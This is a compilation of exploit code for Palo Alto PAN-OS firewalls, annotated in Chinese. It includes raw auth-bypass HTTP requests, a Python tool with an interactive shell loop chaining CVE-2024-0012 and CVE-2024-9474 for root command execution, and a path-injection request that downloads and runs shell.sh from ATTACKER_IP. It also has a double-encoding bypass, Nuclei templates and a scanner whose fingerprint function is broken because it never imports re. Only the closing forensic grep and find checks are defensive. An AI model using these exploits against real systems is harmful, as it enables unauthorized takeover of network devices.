if (
 $_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off'
 && $_SERVER['PHP_SELF'] !== '/CA/ocsp'
 && $_SERVER['PHP_SELF'] !== '/php/login.php'
 && stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
) {
    // 执行认证检查，未登录则重定向到 login.php
    $ws = WebSession::getInstance($ioc);
    $ws->start();
    $ws->close();
    // ...
}

GET /php/ztp_gate.php/.js.map HTTP/1.1
Host: <TARGET_IP>
X-PAN-AUTHCHECK: off
Connection: close

POST /php/utils/createRemoteAppwebSession.php/1.js.map HTTP/1.1
Host: <TARGET_IP>
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Connection: close

ip=127.0.0.1&user=`id>&userId=&userRole=&remoteHost=&

GET /unauth/1.php/.js.map HTTP/1.1
Host: <TARGET_IP>
X-PAN-AUTHCHECK: off
Connection: close

#!/usr/bin/env python3
import requests
import sys
import re
import urllib3
urllib3.disable_warnings()

class PANOSExploit:
    def __init__(self, target):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0',
            'Connection': 'close'
        })
        self.phpsessid = None

    def check_auth_bypass(self):
        try:
            r = self.session.get(
                f'{self.target}/php/ztp_gate.php/.js.map',
                headers={'X-PAN-AUTHCHECK': 'off'},
                timeout=10
            )
            if r.status_code == 200 and 'php' in r.text.lower():
                print('[+] CVE-2024-0012 认证绕过验证成功')
                return True
            print('[-] 认证绕过验证失败')
            return False
        except Exception as e:
            print(f'[-] 连接失败: {e}')
            return False

    def exploit_rce(self, cmd):
        try:
            r = self.session.post(
                f'{self.target}/php/utils/createRemoteAppwebSession.php/1.js.map',
                headers={
                    'X-PAN-AUTHCHECK': 'off',
                    'Content-Type': 'application/x-www-form-urlencoded'
                },
                data=f'ip=127.0.0.1&user=`{cmd}`&userId=&userRole=&remoteHost=&',
                timeout=15
            )
            match = re.search(r'PHPSESSID=([^;]+)', r.text)
            if match:
                self.phpsessid = match.group(1)
                r2 = self.session.get(
                    f'{self.target}/index.php/.js.map',
                    headers={
                        'X-PAN-AUTHCHECK': 'off',
                        'Cookie': f'PHPSESSID={self.phpsessid}'
                    },
                    timeout=10
                )
                output = re.search(r'<pre>(.*?)</pre>', r2.text, re.DOTALL)
                if output:
                    return output.group(1).strip()
                return r2.text[:2000]
            return None
        except Exception as e:
            print(f'[-] 利用失败: {e}')
            return None

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <target_url>')
        sys.exit(1)

    exploit = PANOSExploit(sys.argv[1])
    if exploit.check_auth_bypass():
        while True:
            cmd = input('cmd> ').strip()
            if cmd.lower() in ('exit', 'quit'):
                break
            result = exploit.exploit_rce(cmd)
            if result:
                print(result)
            else:
                print('[-] 无返回结果')

id: pan-os-cve-2024-0012-auth-bypass

info:
  name: PAN-OS CVE-2024-0012 Authentication Bypass
  author: security-research
  severity: critical
  tags: paloalto,pan-os,auth-bypass,cve2024
  reference:
    - https://security.paloaltonetworks.com/CVE-2024-0012

http:
  - method: GET
    path:
      - "{{BaseURL}}/php/ztp_gate.php/.js.map"
    headers:
      X-PAN-AUTHCHECK: "off"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "PHP"
          - "ztp_gate"
        condition: or

id: pan-os-cve-2024-9474-privilege-escalation

info:
  name: PAN-OS CVE-2024-9474 Privilege Escalation
  author: security-research
  severity: critical
  tags: paloalto,pan-os,rce,cve2024
  reference:
    - https://security.paloaltonetworks.com/CVE-2024-9474

http:
  - raw:
      - |
        POST /php/utils/createRemoteAppwebSession.php/1.js.map HTTP/1.1
        Host: {{Hostname}}
        X-PAN-AUTHCHECK: off
        Content-Type: application/x-www-form-urlencoded

        ip=127.0.0.1&user=`id>&userId=&userRole=&remoteHost=&
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "PHPSESSID"
          - "uid="
        condition: or

POST /php/utils/debugType.php/.js.map HTTP/1.1
Host: <TARGET_IP>
Cookie: PHPSESSID=<ADMIN_SESSION>
Content-Type: application/x-www-form-urlencoded
Connection: close

type=appian_log&path=/var/log/pan/;/usr/bin/wget+http://ATTACKER_IP/shell.sh+-O+/tmp/shell.sh;chmod+777+/tmp/shell.sh;/tmp/shell.sh&

#!/usr/bin/env python3
import requests
import sys
import urllib3
urllib3.disable_warnings()

def check_path_injection(target, session_cookie):
    payload = ";echo VULN_CHECK;id;"
    r = requests.post(
        f'{target}/php/utils/debugType.php/.js.map',
        headers={
            'Cookie': f'PHPSESSID={session_cookie}',
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        data=f'type=appian_log&path=/var/log/pan/{payload}',
        verify=False,
        timeout=10
    )
    if 'VULN_CHECK' in r.text or 'uid=' in r.text:
        print('[+] CVE-2024-9463/9464 路径验证命令注入存在')
        return True
    print('[-] 未检测到命令注入')
    return False

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print(f'Usage: {sys.argv[0]} <target_url> <admin_session_id>')
        sys.exit(1)
    check_path_injection(sys.argv[1], sys.argv[2])

GET /unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css HTTP/1.1
Host: <TARGET_IP>
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Connection: close

原始请求: /unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css
    ↓ Nginx 解码一次
/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css
    → 匹配 /unauth/ → X-pan-AuthCheck: off
    ↓ Apache 解码一次
/unauth/2e%2e/php/ztp_gate.php/PAN_help/x.css
    ↓ Apache 内部重定向 + 归一化
/php/ztp_gate.php/PAN_help/x.css.gz
    → 无需认证执行 ztp_gate.php

id: pan-os-cve-2025-0108-auth-bypass

info:
  name: PAN-OS CVE-2025-0108 Authentication Bypass
  author: security-research
  severity: high
  tags: paloalto,pan-os,auth-bypass,cve2025
  reference:
    - https://security.paloaltonetworks.com/CVE-2025-0108

http:
  - method: GET
    path:
      - "{{BaseURL}}/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "PHP"
          - "ztp"
        condition: or

#!/usr/bin/env python3
import socket
import struct
import sys

def check_captive_portal(target, port=443):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target, port))

        tls_hello = bytearray([
            0x16, 0x03, 0x01, 0x00, 0x05,
            0x01, 0x00, 0x00, 0x01, 0x00
        ])
        s.send(tls_hello)
        resp = s.recv(4096)
        s.close()

        if len(resp) > 0:
            print(f'[+] {target}:{port} 端口开放，可能存在 Captive Portal 服务')
            print('[!] 请确认是否启用了 User-ID Authentication Portal')
            return True
    except Exception as e:
        print(f'[-] 连接失败: {e}')
    return False

def fingerprint_panos(target, port=443):
    import ssl
    import urllib.request
    try:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        req = urllib.request.Request(
            f'https://{target}:{port}/global-protect/login.esp',
            headers={'User-Agent': 'PANOS-Scanner/1.0'}
        )
        resp = urllib.request.urlopen(req, context=ctx, timeout=10)
        body = resp.read().decode('utf-8', errors='ignore')
        if 'PAN-OS' in body or 'GlobalProtect' in body or 'Palo Alto' in body:
            print(f'[+] 确认为 PAN-OS 设备')
            version_match = re.search(r'Version[:\s]+(\d+\.\d+[\.\d\w-]*)', body)
            if version_match:
                print(f'[+] 版本: {version_match.group(1)}')
            return True
    except Exception:
        pass
    return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <target_ip>')
        sys.exit(1)
    check_captive_portal(sys.argv[1])

id: pan-os-cve-2026-0300-captive-portal-exposure

info:
  name: PAN-OS Captive Portal Exposure Check
  author: security-research
  severity: critical
  tags: paloalto,pan-os,captive-portal,cve2026
  reference:
    - https://security.paloaltonetworks.com/CVE-2026-0300

http:
  - method: GET
    path:
      - "{{BaseURL}}/global-protect/login.esp"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Palo Alto"
          - "GlobalProtect"
          - "PAN-OS"
        condition: or

2024-04: CVE-2024-3400（GlobalProtect 命令注入，单步 RCE）
    ↓
2024-11: CVE-2024-0012 + CVE-2024-9474（认证绕过 + 提权，两步 Root）
    ↓
2025-01: CVE-2024-9463/9464（路径验证命令注入，需管理员权限）
    ↓
2025-02: CVE-2025-0108 + CVE-2024-9474（新认证绕过 + 旧提权，再次两步 Root）
    ↓
2025-02: CVE-2025-0108 + CVE-2025-0111（认证绕过 + 文件读取，情报收集）
    ↓
2026-05: CVE-2026-0300（Captive Portal 缓冲区溢出，全新单步 RCE）

# 检查管理面暴露
grep -r "X-PAN-AUTHCHECK" /var/log/pan/ | grep "off"

# 检查异常 PHP 会话
grep "createRemoteAppwebSession" /var/log/pan/

# 检查异常 cron 任务
crontab -l -u root
cat /etc/crontab

# 检查异常外联
netstat -antp | grep -E "SYN_SENT|ESTABLISHED" | grep -v "known_good"

# 检查 WebShell
find /var/appweb/ -name "*.php" -newer /var/appweb/htdocs/php/login.php
find /opt/panlogs/tmp/ -type f -name "*.css" -o -name "*.js"

# 检查 UPSTYLE 后门
find / -name "system.pth" 2>/dev/null
grep -r "sslvpn_ngx_error.log" /opt/ 2>/dev/null